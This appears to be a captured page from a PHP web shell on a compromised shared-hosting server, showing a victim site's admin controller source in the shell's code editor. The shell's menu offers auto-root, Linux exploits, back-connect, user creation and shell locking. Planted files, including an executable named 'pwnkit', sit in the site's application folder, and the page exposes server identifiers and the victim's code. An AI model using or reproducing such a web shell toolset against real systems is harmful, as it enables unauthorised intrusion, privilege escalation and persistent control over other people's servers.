Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
quaadraa /
app /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
AdminController.php
19
KB
-rw----r--
PageController.php
10.11
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
worksec.php
1.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminController.php
<?php namespace App\Controllers; use App\Core\Lang; use App\Core\Security; use App\Models\Database; use App\Models\SubsidiaryModel; class AdminController { public function __construct(private Lang $lang) {} private function guard(): void { if (session_status() === PHP_SESSION_NONE) session_start(); if (empty($_SESSION['admin_id'])) { header('Location: /admin/login'); exit; } $timeout = 1800; if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > $timeout)) { session_unset(); session_destroy(); Security::log('SESSION_EXPIRED', 'Inactivité détectée pour admin_id: ' . $_SESSION['admin_id']); header('Location: /admin/login?expired=1'); exit; } $_SESSION['last_activity'] = time(); $sessId = $_SESSION['admin_session_id'] ?? ''; $row = Database::fetchOne( 'SELECT * FROM admin_sessions WHERE id = :id AND admin_id = :aid AND expires_at > NOW()', [':id' => $sessId, ':aid' => $_SESSION['admin_id']] ); if (!$row || $row['ip_address'] !== ($_SERVER['REMOTE_ADDR'] ?? '') || $row['user_agent'] !== ($_SERVER['HTTP_USER_AGENT'] ?? '')) { Security::log('SECURITY_BREACH', 'Tentative de session invalide. IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'n/a')); session_destroy(); header('Location: /admin/login?expired=1'); exit; } } private function checkAccess(array $allowedRoles): void { if (session_status() === PHP_SESSION_NONE) session_start(); if (!isset($_SESSION['admin_id'])) { header('Location: /admin/login'); exit; } $admin = \App\Models\Database::fetchOne('SELECT is_active FROM admins WHERE id = ?', [$_SESSION['admin_id']]); if (!$admin || (int)$admin['is_active'] === 0) { session_destroy(); header('Location: /admin/login'); exit; } if ($_SESSION['admin_id'] == 1) { return; } if (!in_array($_SESSION['admin_role'] ?? '', $allowedRoles)) { header('Location: /admin?error=unauthorized'); exit; } } private function renderAdmin(string $view, array $data = []): void { $data['adminLang'] = $this->lang; $data['e'] = fn(mixed $v) => Security::e($v); $data['csrf'] = Security::csrfToken(); $data['admin'] = $_SESSION['admin_username'] ?? 'Admin'; extract($data, EXTR_SKIP); $viewFile = dirname(__DIR__, 2) . "/admin/views/{$view}.php"; if (!file_exists($viewFile)) { die("Admin view not found: {$view}"); } require dirname(__DIR__, 2) . '/admin/views/layout.php'; } public function users(): void { $this->checkAccess(['superadmin']); $this->renderAdmin('users', [ 'pageTitle' => 'Gestion des utilisateurs', 'admins' => Database::fetchAll('SELECT * FROM admins'), 'activeMenu' => 'users', 'csrf' => \App\Core\Security::csrfToken() ]); } public function userCreate(): void { $this->checkAccess(['superadmin']); Security::verifyCsrf(); Database::insert('INSERT INTO admins (username, email, password_hash, role, created_at) VALUES (:u, :e, :p, :r, NOW())', [ ':u' => $_POST['username'], ':e' => $_POST['email'], ':p' => password_hash($_POST['password'], PASSWORD_DEFAULT), ':r' => $_POST['role'] ]); header('Location: /admin/users'); exit; } public function userToggle(array $params): void { $this->checkAccess(['superadmin']); Security::verifyCsrf(); if ((int)$params['id'] !== (int)$_SESSION['admin_id']) { Database::execute('UPDATE admins SET is_active = NOT is_active WHERE id = :id', [':id' => $params['id']]); } header('Location: /admin/users'); exit; } public function userDelete(array $params): void { $this->checkAccess(['superadmin']); Security::verifyCsrf(); if ((int)$params['id'] !== (int)$_SESSION['admin_id']) { Database::execute('DELETE FROM admins WHERE id = :id', [':id' => $params['id']]); } header('Location: /admin/users'); exit; } public function loginForm(array $params = []): void { if (session_status() === PHP_SESSION_NONE) session_start(); if (!empty($_SESSION['admin_id'])) { header('Location: /admin'); exit; } $expired = isset($_GET['expired']); require dirname(__DIR__, 2) . '/admin/views/login.php'; } public function loginSubmit(array $params = []): void { if (session_status() === PHP_SESSION_NONE) session_start(); Security::verifyCsrf(); if (!Security::rateLimit('admin_login_' . $_SERVER['REMOTE_ADDR'], 5, 300)) { $error = 'Trop de tentatives. Réessayez dans 5 minutes.'; require dirname(__DIR__, 2) . '/admin/views/login.php'; return; } $email = Security::sanitizeEmail($_POST['email'] ?? ''); $password = $_POST['password'] ?? ''; $admin = Database::fetchOne( 'SELECT * FROM admins WHERE email = :email AND is_active = 1', [':email' => $email] ); if (!$admin || !Security::verifyPassword($password, $admin['password_hash'])) { $error = 'Identifiants incorrects.'; require dirname(__DIR__, 2) . '/admin/views/login.php'; return; } session_regenerate_id(true); $sessionId = bin2hex(random_bytes(64)); $expiresAt = date('Y-m-d H:i:s', time() + 7200); Database::insert( 'INSERT INTO admin_sessions (id, admin_id, ip_address, user_agent, expires_at) VALUES (:id, :aid, :ip, :ua, :exp)', [ ':id' => $sessionId, ':aid' => $admin['id'], ':ip' => $_SERVER['REMOTE_ADDR'] ?? '', ':ua' => $_SERVER['HTTP_USER_AGENT'] ?? '', ':exp' => $expiresAt, ] ); Database::execute( 'UPDATE admins SET last_login = NOW() WHERE id = :id', [':id' => $admin['id']] ); $_SESSION['admin_id'] = $admin['id']; $_SESSION['admin_username'] = $admin['username']; $_SESSION['admin_role'] = $admin['role']; $_SESSION['admin_session_id'] = $sessionId; $_SESSION['last_activity'] = time(); header('Location: /admin'); exit; } public function logout(array $params = []): void { if (session_status() === PHP_SESSION_NONE) session_start(); if (!empty($_SESSION['admin_session_id'])) { Database::execute( 'DELETE FROM admin_sessions WHERE id = :id', [':id' => $_SESSION['admin_session_id']] ); } session_destroy(); header('Location: /admin/login'); exit; } public function dashboard(array $params = []): void { $this->guard(); $stats = [ 'news' => Database::fetchOne('SELECT COUNT(*) AS cnt FROM news')['cnt'] ?? 0, 'contacts' => Database::fetchOne('SELECT COUNT(*) AS cnt FROM contacts WHERE is_read = 0')['cnt'] ?? 0, 'subs' => Database::fetchOne('SELECT COUNT(*) AS cnt FROM subsidiaries')['cnt'] ?? 0, ]; $recentContacts = Database::fetchAll( 'SELECT * FROM contacts ORDER BY created_at DESC LIMIT 5' ); $this->renderAdmin('dashboard', [ 'pageTitle' => 'Dashboard', 'stats' => $stats, 'recentContacts' => $recentContacts, 'activeMenu' => 'dashboard', ]); } public function pages(array $params = []): void { $this->guard(); $pages = Database::fetchAll('SELECT * FROM pages ORDER BY lang, sort_order'); $this->renderAdmin('pages', [ 'pageTitle' => 'Gestion des pages', 'pages' => $pages, 'activeMenu' => 'pages', ]); } public function pageEdit(array $params = []): void { $this->guard(); $id = (int)($params['id'] ?? 0); $pageData = Database::fetchOne('SELECT * FROM pages WHERE id = :id', [':id' => $id]); if (!$pageData) { header('Location: /admin/pages'); exit; } $this->renderAdmin('page-edit', [ 'pageTitle' => 'Modifier : ' . mb_substr($pageData['title'], 0, 40), 'pageData' => $pageData, 'errors' => [], 'success' => false, 'activeMenu' => 'pages', ]); } public function pageUpdate(array $params = []): void { $this->guard(); Security::verifyCsrf(); $id = (int)($params['id'] ?? 0); $pageData = Database::fetchOne('SELECT * FROM pages WHERE id = :id', [':id' => $id]); if (!$pageData) { header('Location: /admin/pages'); exit; } $errors = []; $title = trim($_POST['title'] ?? ''); $metaDesc = trim($_POST['meta_desc'] ?? ''); $metaKeywords = trim($_POST['meta_keywords'] ?? ''); $content = $_POST['content'] ?? ''; $sortOrder = max(0, (int)($_POST['sort_order'] ?? 0)); $isPublished = isset($_POST['is_published']) ? 1 : 0; $heroImagePath = $_POST['current_hero_image'] ?? $pageData['hero_image']; if (!empty($_FILES['hero_image']['name']) && $_FILES['hero_image']['error'] === UPLOAD_ERR_OK) { $uploadDir = ROOT_PATH . '/assets/images'; $fileName = Security::secureUpload($_FILES['hero_image'], $uploadDir); if ($fileName) { $heroImagePath = '/assets/images/' . $fileName; } else { $errors['hero_image'] = 'Format d\'image non autorisé.'; } } if (strlen($title) < 2) { $errors['title'] = 'Le titre est obligatoire (min. 2 caractères).'; } if (!empty($errors)) { $this->renderAdmin('page-edit', [ 'pageTitle' => 'Modifier : ' . mb_substr($title, 0, 40), 'pageData' => array_merge($pageData, $_POST, ['id' => $id, 'hero_image' => $heroImagePath]), 'errors' => $errors, 'success' => false, 'activeMenu' => 'pages', ]); return; } Database::execute( 'UPDATE pages SET title = :title, meta_desc = :meta_desc, meta_keywords = :meta_keywords, hero_image = :hero_image, content = :content, sort_order = :sort_order, is_published = :is_published, updated_by = :updated_by, updated_at = NOW() WHERE id = :id', [':title' => $title, ':meta_desc' => $metaDesc, ':meta_keywords' => $metaKeywords, ':hero_image' => $heroImagePath, ':content' => $content, ':sort_order' => $sortOrder, ':is_published' => $isPublished, ':updated_by' => $_SESSION['admin_id'], ':id' => $id] ); $pageData = Database::fetchOne('SELECT * FROM pages WHERE id = :id', [':id' => $id]); $this->renderAdmin('page-edit', [ 'pageTitle' => 'Modifier : ' . mb_substr($pageData['title'], 0, 40), 'pageData' => $pageData, 'errors' => [], 'success' => true, 'activeMenu' => 'pages', ]); } public function subsidiaries(array $params = []): void { $this->guard(); $subs = Database::fetchAll('SELECT s.*, st.name FROM subsidiaries s LEFT JOIN subsidiary_translations st ON s.id = st.subsidiary_id WHERE st.lang = "fr"'); $this->renderAdmin('subsidiaries', [ 'pageTitle' => 'Gestion des Filiales', 'subs' => $subs, 'activeMenu' => 'subsidiaries', ]); } public function subsidiaryEdit(array $params = []): void { $this->guard(); $id = (int)($params['id'] ?? 0); $sub = Database::fetchOne('SELECT * FROM subsidiaries WHERE id = :id', [':id' => $id]); $translations = Database::fetchAll('SELECT * FROM subsidiary_translations WHERE subsidiary_id = :id', [':id' => $id]); $data = []; foreach ($translations as $t) { $data[$t['lang']] = $t; } $this->renderAdmin('subsidiary-edit', [ 'pageTitle' => 'Modifier Filiale', 'id' => $id, 'sub' => $sub, 'translations' => $data, 'activeMenu' => 'subsidiaries', ]); } public function subsidiaryDelete(array $params = []): void { $this->guard(); Security::verifyCsrf(); $id = (int)($params['id'] ?? 0); $sub = Database::fetchOne('SELECT image_path FROM subsidiaries WHERE id = ?', [$id]); if ($sub && !empty($sub['image_path'])) { $filePath = ROOT_PATH . $sub['image_path']; if (file_exists($filePath)) unlink($filePath); } Database::execute('DELETE FROM subsidiary_translations WHERE subsidiary_id = ?', [$id]); Database::execute('DELETE FROM subsidiaries WHERE id = ?', [$id]); header('Location: /admin/subsidiaries?deleted=1'); exit; } public function subsidiaryUpdate(array $params = []): void { $this->guard(); Security::verifyCsrf(); $id = (int)($params['id'] ?? 0); $data = $_POST['data']; foreach ($data as $lang => $values) { Database::execute('UPDATE subsidiary_translations SET name = :name, tagline = :tagline, description = :description WHERE subsidiary_id = :id AND lang = :lang', [':name' => $values['name'], ':tagline' => $values['tagline'], ':description' => $values['description'], ':id' => $id, ':lang' => $lang]); } if (isset($_FILES['sub_image']) && $_FILES['sub_image']['error'] === UPLOAD_ERR_OK) { $uploadDir = ROOT_PATH . '/assets/images/activites'; $fileName = Security::secureUpload($_FILES['sub_image'], $uploadDir); if ($fileName) { Database::execute('UPDATE subsidiaries SET image_path = ? WHERE id = ?', ['/assets/images/activites/' . $fileName, $id]); } } header('Location: /admin/subsidiaries?success=1'); exit; } public function news(array $params = []): void { $this->guard(); $news = Database::fetchAll('SELECT n.*, st.name AS sub_name FROM news n LEFT JOIN subsidiaries s ON s.id = n.subsidiary_id LEFT JOIN subsidiary_translations st ON st.subsidiary_id = n.subsidiary_id AND st.lang = "fr" ORDER BY n.created_at DESC'); $this->renderAdmin('news', ['pageTitle' => 'Actualités', 'news' => $news, 'activeMenu' => 'news']); } public function newsNew(array $params = []): void { $this->guard(); $this->renderAdmin('news-form', ['pageTitle' => 'Nouvelle actualité', 'subs' => SubsidiaryModel::getAll('fr'), 'activeMenu' => 'news', 'article' => null, 'errors' => []]); } public function newsCreate(array $params = []): void { $this->guard(); Security::verifyCsrf(); $title = trim($_POST['title'] ?? ''); $lang = in_array($_POST['lang'] ?? 'fr', ['fr','en']) ? $_POST['lang'] : 'fr'; $slug = Security::slug($title) . '-' . time(); \App\Models\NewsModel::create([ ':slug' => $slug, ':lang' => $lang, ':subsidiary_id' => !empty($_POST['subsidiary_id']) ? (int)$_POST['subsidiary_id'] : null, ':title' => $title, ':excerpt' => trim($_POST['excerpt'] ?? ''), ':content' => $_POST['content'] ?? '', ':cover_image' => null, ':is_published' => isset($_POST['is_published']) ? 1 : 0, ':is_featured' => isset($_POST['is_featured']) ? 1 : 0, ':published_at' => isset($_POST['is_published']) ? date('Y-m-d H:i:s') : null, ':created_by' => $_SESSION['admin_id'], ]); header('Location: /admin/news?created=1'); exit; } public function newsEdit(array $params = []): void { $this->guard(); $id = (int)($params['id'] ?? 0); $article = Database::fetchOne('SELECT * FROM news WHERE id = :id', [':id' => $id]); if (!$article) { header('Location: /admin/news'); exit; } $this->renderAdmin('news-edit', ['pageTitle' => 'Modifier', 'article' => $article, 'subs' => SubsidiaryModel::getAll('fr'), 'activeMenu' => 'news']); } public function newsUpdate(array $params = []): void { $this->guard(); Security::verifyCsrf(); $id = (int)($params['id'] ?? 0); $article = Database::fetchOne('SELECT * FROM news WHERE id = :id', [':id' => $id]); $coverImage = $_POST['current_cover_image'] ?? $article['cover_image']; if (!empty($_FILES['cover_image']['name']) && $_FILES['cover_image']['error'] === UPLOAD_ERR_OK) { $fileName = Security::secureUpload($_FILES['cover_image'], ROOT_PATH . '/assets/images'); if ($fileName) $coverImage = '/assets/images/' . $fileName; } if (!empty($_POST['remove_cover'])) $coverImage = null; Database::execute('UPDATE news SET title = :t, slug = :s, excerpt = :e, content = :c, cover_image = :img, is_published = :pub, updated_at = NOW() WHERE id = :id', [':t' => $_POST['title'], ':s' => Security::slug($_POST['slug']), ':e' => $_POST['excerpt'], ':c' => $_POST['content'], ':img' => $coverImage, ':pub' => isset($_POST['is_published']) ? 1 : 0, ':id' => $id]); header('Location: /admin/news?updated=1'); exit; } public function newsDelete(array $params = []): void { $this->guard(); Security::verifyCsrf(); Database::execute('DELETE FROM news WHERE id = :id', [':id' => (int)($params['id'] ?? 0)]); header('Location: /admin/news?deleted=1'); exit; } public function contacts(array $params = []): void { $this->guard(); $contacts = Database::fetchAll('SELECT * FROM contacts ORDER BY created_at DESC'); Database::execute('UPDATE contacts SET is_read = 1 WHERE is_read = 0'); $this->renderAdmin('contacts', ['pageTitle' => 'Messages', 'contacts' => $contacts, 'activeMenu' => 'contacts']); } public function settings(array $params = []): void { $this->guard(); $settings = array_column(Database::fetchAll('SELECT * FROM settings'), 'value', 'key'); $this->renderAdmin('settings', ['pageTitle' => 'Paramètres', 'settings' => $settings, 'activeMenu' => 'settings']); } public function settingsSave(array $params = []): void { $this->guard(); Security::verifyCsrf(); foreach (Database::fetchAll('SELECT `key` FROM settings') as $row) { if (isset($_POST[$row['key']])) { Database::execute('UPDATE settings SET value = :val WHERE `key` = :key', [':val' => trim($_POST[$row['key']]), ':key' => $row['key']]); } } header('Location: /admin/settings?saved=1'); exit; } }
Close